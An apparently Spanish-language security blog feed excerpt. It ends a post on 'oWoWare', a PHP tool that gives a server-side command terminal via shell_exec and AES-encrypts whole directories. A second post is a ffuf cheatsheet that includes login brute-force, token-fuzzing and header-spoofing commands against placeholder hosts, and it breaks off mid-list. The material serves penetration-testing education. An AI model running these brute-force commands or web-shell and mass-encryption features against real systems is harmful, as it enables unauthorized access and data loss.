&lt;li&gt;Los comandos permitidos están restringidos por una lista blanca (&lt;code&gt;$allowed_commands&lt;/code&gt;) que incluye comandos comunes de administración de sistemas como &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;cd&lt;/code&gt;, &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;ping&lt;/code&gt;, entre otros.&lt;/li&gt;
&lt;li&gt;Los resultados de los comandos ejecutados se muestran en la interfaz de usuario en tiempo real.&lt;/li&gt;
&lt;li&gt;Cada comando ejecutado se registra en un archivo de log en el directorio &lt;code&gt;logs/comandos.log&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$allowed_commands = [&apos;ls&apos;, &apos;pwd&apos;, &apos;cat&apos;, &apos;cp&apos;, &apos;mv&apos;, &apos;rm&apos;, &apos;mkdir&apos;, &apos;chmod&apos;, &apos;chown&apos;, &apos;ping&apos;, &apos;top&apos;, &apos;df&apos;, &apos;uname&apos;, ...];

if (in_array($base_command, $allowed_commands)) {
    $safe_command = escapeshellcmd($command);
    $output = shell_exec($safe_command . &apos; 2&amp;gt;&amp;amp;1&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7. &lt;strong&gt;Manejo de la Contraseña para Cifrar/Descifrar&lt;/strong&gt;:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;El usuario debe proporcionar una clave de cifrado (mínimo de 32 caracteres) para cifrar o descifrar los archivos.&lt;/li&gt;
&lt;li&gt;Si la clave es menor a 32 caracteres, se muestra un error indicando que la clave es insuficiente.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;if (strlen($key) &amp;lt; 32) {
    $error_cifrado = &quot;The key must be at least 32 characters for AES-256.&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Descargar oWoWare&lt;/h2&gt;
&lt;p&gt;🦠 &lt;a href=&quot;https://github.com/TaurusOmar/oWoWare&quot;&gt;oWoWare GitHub Repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script type=&apos;text/javascript&apos; src=&apos;https://storage.ko-fi.com/cdn/widget/Widget_2.js&apos;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script type=&apos;text/javascript&apos;&amp;gt;kofiwidget2.init(&apos;Invitame un café&apos;, &apos;#29abe0&apos;, &apos;G2G213UNU6&apos;);kofiwidget2.draw();&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;⚠️ Advertencia: Uso en Ambientes Controlados&lt;/h2&gt;
&lt;h3&gt;Descripción de la Herramienta&lt;/h3&gt;
&lt;p&gt;Esta herramienta está diseñada con fienes educativos su función principal es el cifrado y descifrado de archivos, así como para la ejecución de comandos en una terminal integrada. Proporciona funcionalidades avanzadas para manejar archivos a nivel de sistema, incluyendo la posibilidad de cifrar directorios completos utilizando el algoritmo &lt;strong&gt;AES-256-CBC&lt;/strong&gt;. También incluye una interfaz para la ejecución de comandos directamente en el servidor.&lt;/p&gt;
&lt;h2&gt;Riesgos Potenciales&lt;/h2&gt;
&lt;h3&gt;1. &lt;strong&gt;Cifrado de Archivos&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;El cifrado de archivos es una operación extremadamente delicada. Si las claves de cifrado se pierden o gestionan incorrectamente, los archivos pueden quedar irrecuperables. Además, cualquier mal uso del sistema de cifrado podría comprometer la integridad de los archivos o la seguridad de los datos.&lt;/p&gt;
&lt;h3&gt;2. &lt;strong&gt;Ejecución de Comandos&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;La terminal integrada permite la ejecución de una lista predefinida de comandos del sistema. Aunque se han tomado precauciones para limitar los comandos permitidos, un mal uso de esta funcionalidad podría llevar a la modificación o eliminación accidental de archivos del servidor.&lt;/p&gt;
&lt;h2&gt;Recomendaciones de Uso&lt;/h2&gt;
&lt;h3&gt;1. &lt;strong&gt;Ambiente Controlado&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Esta herramienta debe ser utilizada &lt;strong&gt;exclusivamente&lt;/strong&gt; en entornos controlados, como servidores de desarrollo o entornos de prueba. Nunca debe ser implementada en servidores de producción o en sistemas accesibles al público sin las debidas precauciones de seguridad.&lt;/p&gt;
&lt;h3&gt;2. &lt;strong&gt;Acceso Restringido&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Asegúrate de que solo usuarios con privilegios adecuados tengan acceso a esta herramienta. El uso de autenticación por sesión y control de intentos de login es fundamental para evitar accesos no autorizados.&lt;/p&gt;
&lt;h3&gt;3. &lt;strong&gt;Copia de Seguridad&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Antes de ejecutar cualquier operación de cifrado o descifrado, realiza copias de seguridad de los archivos y directorios involucrados. El cifrado mal gestionado puede resultar en la pérdida total de datos si no se cuenta con la clave correcta para descifrar.&lt;/p&gt;
&lt;h3&gt;4. &lt;strong&gt;Seguridad de la Clave&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Para el cifrado de archivos, la clave debe ser de &lt;strong&gt;al menos 32 caracteres&lt;/strong&gt;. Nunca compartas esta clave en entornos inseguros, y utiliza canales cifrados si necesitas transmitirla a otro usuario.&lt;/p&gt;
&lt;h2&gt;Términos de Uso&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Responsabilidad&lt;/strong&gt;: El desarrollador no se responsabiliza por daños, pérdidas o modificaciones no deseadas de archivos que puedan derivarse del uso inapropiado de esta herramienta.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Propósito Educativo&lt;/strong&gt;: Esta herramienta debe ser utilizada principalmente con fines educativos o en entornos cerrados de prueba.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Nota importante:&lt;/strong&gt; Si decides usar esta herramienta en un entorno de producción, hazlo bajo tu propio riesgo y asegúrate de realizar auditorías exhaustivas de seguridad.&lt;/p&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Ffuf CheatSheet</title><link>https://xfomar.com/posts/ffuf-full-cheatsheet</link><guid isPermaLink="true">https://xfomar.com/posts/ffuf-full-cheatsheet</guid><description>Optimiza el uso de Ffuf con esta Cheatsheet: ejemplos prácticos, fuzzing de archivos/directorios enumeración de vhosts y subdominios y otras funciones</description><pubDate>Sun, 05 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Guía Completa de Comandos de ffuf: Potencia tu Fuzzing Web&lt;/h1&gt;
&lt;p&gt;Durante las pruebas basadas en aplicativos web, la enumeración y el fuzzing es una de las técnicas esenciales para descubrir puntos débiles en aplicaciones. Una de las herramientas más potentes y versátiles para realizar este tipo de tareas es &lt;strong&gt;&lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (Fuzz Faster U Fool). Esta guía completa te ayudara a tener una visión más detallada de los comandos de &lt;strong&gt;&lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;, acompañados de explicaciones contextuales para que puedas aprovechar al máximo sus capacidades.&lt;/p&gt;
&lt;h2&gt;¿Qué es ffuf?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; es una herramienta escrita en Go para realizar fuzzing web de manera rápida y flexible. Permite realizar pruebas exhaustivas de enumeración de directorios, archivos, subdominios, vhosts, parámetros HTTP y mucho más. Su capacidad para manejar múltiples wordlists y su rendimiento optimizado lo convierten en una de las herramientas preferidas en el mundo de las pruebas de seguridad.&lt;/p&gt;
&lt;h2&gt;Uso Básico&lt;/h2&gt;
&lt;h3&gt;Fuzz de Archivos/Rutas&lt;/h3&gt;
&lt;p&gt;El fuzzing de archivos o rutas es una de las funcionalidades más comunes de &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt;. Permite descubrir directorios o archivos ocultos en un servidor web al reemplazar la palabra clave &lt;code&gt;FUZZ&lt;/code&gt; con cada entrada de una wordlist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-w wordlist.txt&lt;/code&gt;: Especifica la wordlist a utilizar.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-u https://host.name/FUZZ&lt;/code&gt;: Define la URL objetivo donde &lt;code&gt;FUZZ&lt;/code&gt; será reemplazado por cada palabra de la wordlist.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fuzz de Extensiones de Archivos&lt;/h3&gt;
&lt;p&gt;Este comando es útil cuando necesitamos descubrir archivos con diferentes extensiones, como &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.html&lt;/code&gt;, &lt;code&gt;.js&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/indexFUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con las extensiones proporcionadas en la wordlist para buscar archivos como &lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;index.html&lt;/code&gt;,etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nombres de Archivos&lt;/h3&gt;
&lt;p&gt;Permite realizar fuzzing en nombres de archivos específicos con una extensión determinada, útil para encontrar scripts vulnerables o páginas administrativas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/blog/FUZZ.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Busca archivos PHP en el directorio &lt;code&gt;/blog/&lt;/code&gt; cuyos nombres están en la wordlist.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Usar la Salida de un Comando como Wordlist&lt;/h3&gt;
&lt;p&gt;Aprovechar la salida de comandos del sistema como una fuente dinámica de entradas para el fuzzing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -c -w &amp;lt;(seq 1 1000) -u https://host.name/api/users/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-c&lt;/code&gt;: Ejecuta el comando en un shell comó bandera para habilitar la salida colorizada.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-w &amp;lt;(seq 1 1000)&lt;/code&gt;: Utiliza la salida del comando &lt;code&gt;seq 1 1000&lt;/code&gt; como wordlist, generando números del 1 al 1000.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-u https://host.name/api/users/FUZZ&lt;/code&gt;: Busca endpoints de usuarios con IDs numéricos.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fuzzing Recursivo&lt;/h3&gt;
&lt;p&gt;Permite realizar fuzzing de forma recursiva aplicando múltiples niveles de profundidad, descubriendo rutas ocultas en estructuras de directorios complejas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -recursion -recursion-depth 3 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-recursion&lt;/code&gt;: Habilita el modo de fuzzing recursivo.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-recursion-depth 3&lt;/code&gt;: Define la profundidad máxima de recursión.&lt;/li&gt;
&lt;li&gt;Descubre rutas ocultas hasta tres niveles de profundidad.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Establecer Cookies&lt;/h3&gt;
&lt;p&gt;Podemos enviar cookies personalizadas con cada solicitud, lo que puede ser útil para acceder a áreas protegidas o mantener sesiones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -b &quot;NAME1=VALUE1; NAME2=VALUE2&quot; -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-b &quot;NAME1=VALUE1; NAME2=VALUE2&quot;&lt;/code&gt;: Define las cookies a enviar con cada solicitud.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Wordlists Múltiples&lt;/h2&gt;
&lt;h3&gt;Modo Clusterbomb&lt;/h3&gt;
&lt;p&gt;El modo &lt;code&gt;clusterbomb&lt;/code&gt; intenta todas las combinaciones posibles de valores desde múltiples wordlists. Es ideal para escenarios donde se necesitas combinar diferentes parámetros, como usuarios y contraseñas.&lt;/p&gt;
&lt;h4&gt;Probar Diferentes Usuarios y Contraseñas&lt;/h4&gt;
&lt;p&gt;Este comando es útil para realizar ataques de fuerza bruta en formularios de inicio de sesión, combinando usuarios y contraseñas de dos wordlists diferentes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/users.txt:USER -w /path/to/passwords.txt:PASS -u https://host.name/login?username=USER&amp;amp;password=PASS -mode clusterbomb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-w users.txt:USER&lt;/code&gt;: Define la wordlist de usuarios para el marcador &lt;code&gt;USER&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-w passwords.txt:PASS&lt;/code&gt;: Define la wordlist de contraseñas para el marcador &lt;code&gt;PASS&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--mode clusterbomb&lt;/code&gt;: Activa el modo clusterbomb para combinar usuarios y contraseñas.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Fuzzing de Múltiples Partes de una Solicitud JSON&lt;/h4&gt;
&lt;p&gt;Permite fuzzear múltiples campos dentro de una estructura JSON, ideal para realizar pruebas en APIs que aceptan datos complejos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/usernames.txt:U -w /path/to/passwords.txt:P -X POST -d &apos;{&quot;username&quot;:&quot;U&quot;,&quot;password&quot;:&quot;P&quot;}&apos; -H &apos;Content-Type: application/json&apos; -u https://host.name/api/login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-w usernames.txt:U&lt;/code&gt;: Wordlist para nombres de usuario.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-w passwords.txt:P&lt;/code&gt;: Wordlist para contraseñas.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-X POST&lt;/code&gt;: Define el método HTTP como POST.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d &apos;{&quot;username&quot;:&quot;U&quot;,&quot;password&quot;:&quot;P&quot;}&apos;&lt;/code&gt;: Define el cuerpo de la solicitud JSON, reemplazando &lt;code&gt;U&lt;/code&gt; y &lt;code&gt;P&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-H &apos;Content-Type: application/json&apos;&lt;/code&gt;: Establece el encabezado &lt;code&gt;Content-Type&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Fuzzear Directorios y Nombres de Archivos Simultáneamente&lt;/h4&gt;
&lt;p&gt;Podemos combinar la enumeración de directorios y archivos para descubrir rutas completas y archivos específicos en una estructura de directorios.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/dirs.txt:DIR -w /path/to/files.txt:FILE -u https://host.name/DIR/FILE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-w dirs.txt:DIR&lt;/code&gt;: Wordlist para directorios.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-w files.txt:FILE&lt;/code&gt;: Wordlist para archivos.&lt;/li&gt;
&lt;li&gt;Reemplaza &lt;code&gt;DIR&lt;/code&gt; y &lt;code&gt;FILE&lt;/code&gt; simultáneamente para construir rutas completas.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Modo Pitchfork&lt;/h3&gt;
&lt;p&gt;El modo &lt;code&gt;pitchfork&lt;/code&gt; envía combinaciones sincronizadas de valores de diferentes wordlists, tomando una entrada de cada wordlist en cada iteración.&lt;/p&gt;
&lt;h4&gt;Probar Combinaciones Sincronizadas de Usuarios y Contraseñas&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/users.txt:USER -w /path/to/passwords.txt:PASS -u https://host.name/login?username=USER&amp;amp;password=PASS --mode pitchfork
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Similar al modo &lt;code&gt;clusterbomb&lt;/code&gt;, pero en lugar de todas las combinaciones posibles, toma una entrada de cada wordlist en paralelo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Subdominios y VHosts&lt;/h2&gt;
&lt;h3&gt;Subdominios&lt;/h3&gt;
&lt;p&gt;El fuzzing de subdominios, &lt;strong&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/strong&gt; también nos ayuda a descubrir subdominios ocultos que podrían estar expuestos y vulnerables.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://FUZZ.host.name/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con cada entrada de la wordlist para descubrir subdominios como &lt;code&gt;admin.host.name&lt;/code&gt;, &lt;code&gt;dev.host.name&lt;/code&gt;, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;VHosts&lt;/h3&gt;
&lt;p&gt;Fuzzear VHosts (Virtual Hosts) nos permite identificar configuraciones de servidores que pueden servir contenido diferente o estar expuestos a diferentes vulnerabilidades.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u http://host.name/ -H &apos;Host: FUZZ.host.name&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-H &apos;Host: FUZZ.host.name&apos;&lt;/code&gt;: Define el encabezado &lt;code&gt;Host&lt;/code&gt; con cada entrada de la wordlist para descubrir VHosts como &lt;code&gt;api.host.name&lt;/code&gt;, &lt;code&gt;mail.host.name&lt;/code&gt;, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Parámetros HTTP&lt;/h2&gt;
&lt;h3&gt;Nombres de Parámetros - GET&lt;/h3&gt;
&lt;p&gt;Fuzzear nombres de parámetros en solicitudes GET puede revelar parámetros ocultos o sensibles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u http://host.name/index.php?FUZZ=key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con nombres de parámetros como &lt;code&gt;user&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, etc., para descubrir cómo el servidor maneja estos parámetros.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nombres de Parámetros - POST&lt;/h3&gt;
&lt;p&gt;Similar al fuzzing de parámetros GET, pero en solicitudes POST, donde los parámetros se envían en el cuerpo de la solicitud.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/index.php -X POST -d &apos;FUZZ=key&apos; -H &apos;Content-Type: application/x-www-form-urlencoded&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con nombres de parámetros en el cuerpo de la solicitud POST para poder identificar cómo el servidor procesa diferentes parámetros.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Valores de Parámetros - POST&lt;/h3&gt;
&lt;p&gt;Fuzzear valores específicos de parámetros puede ayudar a descubrir vulnerabilidades como inyecciones SQL, XSS, entre otras.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/ids.txt -u https://host.name/index.php -X POST -d &apos;id=FUZZ&apos; -H &apos;Content-Type: application/x-www-form-urlencoded&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con diferentes IDs para probar cómo el servidor maneja distintos valores.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fuzzing de Datos JSON en Solicitudes POST&lt;/h3&gt;
&lt;p&gt;Permite fuzzear valores dentro de estructuras JSON, ideal para pruebas de APIs que utilizan JSON para la comunicación.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -X POST -H &quot;Content-Type: application/json&quot; -d &apos;{&quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;FUZZ&quot;}&apos; -w /path/to/wordlist.txt -u http://host.name/api/login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con diferentes contraseñas para probar la autenticación de la API.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Encabezados (Headers)&lt;/h2&gt;
&lt;h3&gt;Cambiar User-Agent&lt;/h3&gt;
&lt;p&gt;Podemos establecer un &lt;code&gt;User-Agent&lt;/code&gt; personalizado en las solicitudes, útil para simular diferentes navegadores o dispositivos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -H &quot;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; y establece un &lt;code&gt;User-Agent&lt;/code&gt; específico para cada solicitud.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Establecer el Encabezado Content-Type&lt;/h3&gt;
&lt;p&gt;Define el tipo de contenido que se está enviando, esencial para solicitudes POST o PUT que envían datos estructurados.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -H &quot;Content-Type: application/json&quot; -X POST
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Establece el encabezado &lt;code&gt;Content-Type&lt;/code&gt; a &lt;code&gt;application/json&lt;/code&gt; para enviar datos en formato JSON.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Establecer el Encabezado Authorization&lt;/h3&gt;
&lt;p&gt;Incluye un token de autorización en las solicitudes, necesario para acceder a recursos protegidos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u https://host.name/FUZZ -H &quot;Authorization: Bearer mytoken&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; y establece el encabezado &lt;code&gt;Authorization&lt;/code&gt; con un token Bearer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Valor de Token Bearer&lt;/h3&gt;
&lt;p&gt;Fuzzear tokens Bearer para probar la validez y seguridad de los mecanismos de autenticación.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/tokens.txt -H &quot;Authorization: Bearer FUZZ&quot; -u https://host.name/api/resource
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con diferentes tokens para evaluar la autenticidad y permisos.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Valor de un Encabezado Personalizado&lt;/h3&gt;
&lt;p&gt;Permite fuzzear valores de encabezados HTTP personalizados, útil para descubrir configuraciones específicas del servidor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /path/to/wordlist.txt -u http://host.name -H &quot;X-Forwarded-For: FUZZ&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reemplaza &lt;code&gt;FUZZ&lt;/code&gt; con diferentes direcciones IP para probar la manipulación de encabezados proxy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Límites de Tasa (Rate Limits)&lt;/h2&gt;
&lt;p&gt;Controlar la tasa de solicitudes que enviamos durante el fuzzing, es crucial para evitar ser bloqueado por el servidor objetivo y para manejar eficientemente los recursos.&lt;/p&gt;
&lt;h3&gt;Limitar la Tasa a 50 Solicitudes por Segundo&lt;/h3&gt;
&lt;p&gt;Controlar la velocidad de las solicitudes para evitar sobrecargar el servidor o activar mecanismos de bloqueo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -rate 50 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-rate 50&lt;/code&gt;: Limita la tasa de solicitudes a 50 por segundo.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Establecer Número de Hilos&lt;/h3&gt;
&lt;p&gt;Definir la cantidad de hilos concurrentes para las solicitudes, afectando el rendimiento y la velocidad del fuzzing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comando:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -t 5 -w /path/to/wordlist.txt -u https://host.name/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Descripción:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t 5&lt;/code&gt;: Utiliza 5 hilos concurrentes para enviar las solicitudes.&lt;/li&gt;
